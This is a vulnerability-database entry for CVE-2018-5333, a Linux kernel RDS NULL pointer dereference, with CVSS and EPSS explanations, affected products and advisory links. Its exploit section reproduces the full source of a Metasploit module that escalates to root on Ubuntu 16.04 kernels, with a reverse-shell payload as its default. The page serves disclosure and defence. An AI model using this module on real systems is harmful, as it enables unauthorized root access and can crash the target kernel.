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CVE-2018-5333 : Detail

CVE-2018-5333

5.5
/
MEDIUM
Memory Corruption
0.06%V3
Local
2018-01-11 06:00 +00:00
2020-01-22 17:06 +00:00
CVE.org
NVD

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Descriptions

In the Linux kernel through 4.14.13, the rds_cmsg_atomic function in net/rds/rdma.c mishandles cases where page pinning fails or an invalid address is supplied, leading to an rds_atomic_free_op NULL pointer dereference.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-476 NULL Pointer Dereference
The product dereferences a pointer that it expects to be valid but is NULL.

Metrics

Metric Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47957

Publication date : 2020-01-22 23:00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Compile include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Linux systems by abusing a NULL pointer dereference in the `rds_atomic_free_op` function in the Reliable Datagram Sockets (RDS) kernel module (rds.ko). Successful exploitation requires the RDS kernel module to be loaded. If the RDS module is not blacklisted (default); then it will be loaded automatically. This exploit supports 64-bit Ubuntu Linux systems, including distributions based on Ubuntu, such as Linux Mint and Zorin OS. Target offsets are available for: Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic. This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on various 4.4 and 4.8 kernels. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333) 'Jann Horn', # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213) 'wbowling', # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic 'bcoles', # Metasploit module and updated C exploit 'nstarke' # Additional kernel offsets ], 'DisclosureDate' => '2018-11-01', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2018-5333' ], [ 'CVE', '2019-9213' ], [ 'BID', '102510' ], [ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ], [ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_OS_DOWN ], }, 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def check arch = kernel_hardware unless arch.include? 'x86_64' return CheckCode::Safe("System architecture #{arch} is not supported") end vprint_good "System architecture #{arch} is supported" offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first kernels = offsets.scan(/"(.+?)"/).flatten version = "#{kernel_release} #{kernel_version.split(' ').first}" unless kernels.include? version return CheckCode::Safe("Linux kernel #{version} is not vulnerable") end vprint_good "Linux kernel #{version} is vulnerable" if smap_enabled? return CheckCode::Safe('SMAP is enabled') end vprint_good 'SMAP is not enabled' if lkrg_installed? return CheckCode::Safe('LKRG is installed') end vprint_good 'LKRG is not installed' if grsec_installed? return CheckCode::Safe('grsecurity is in use') end vprint_good 'grsecurity is not in use' unless kernel_modules.include? 'rds' vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation' return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation') end vprint_good 'rds.ko kernel module is loaded' CheckCode::Appears end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out') end register_file_for_cleanup exploit_path payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup payload_path # mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete timeout = 30 print_status "Launching exploit (timeout: #{timeout})..." output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout) output.each_line { |line| vprint_status line.chomp } end end

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 4.14.13

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 8.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 17.10

References

https://www.debian.org/security/2018/dsa-4187
Tags : vendor-advisory, x_refsource_DEBIAN
https://usn.ubuntu.com/3617-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3619-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3617-3/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3583-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3632-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3583-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securityfocus.com/bid/102510
Tags : vdb-entry, x_refsource_BID
https://access.redhat.com/errata/RHSA-2018:0470
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3617-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3619-1/
Tags : vendor-advisory, x_refsource_UBUNTU

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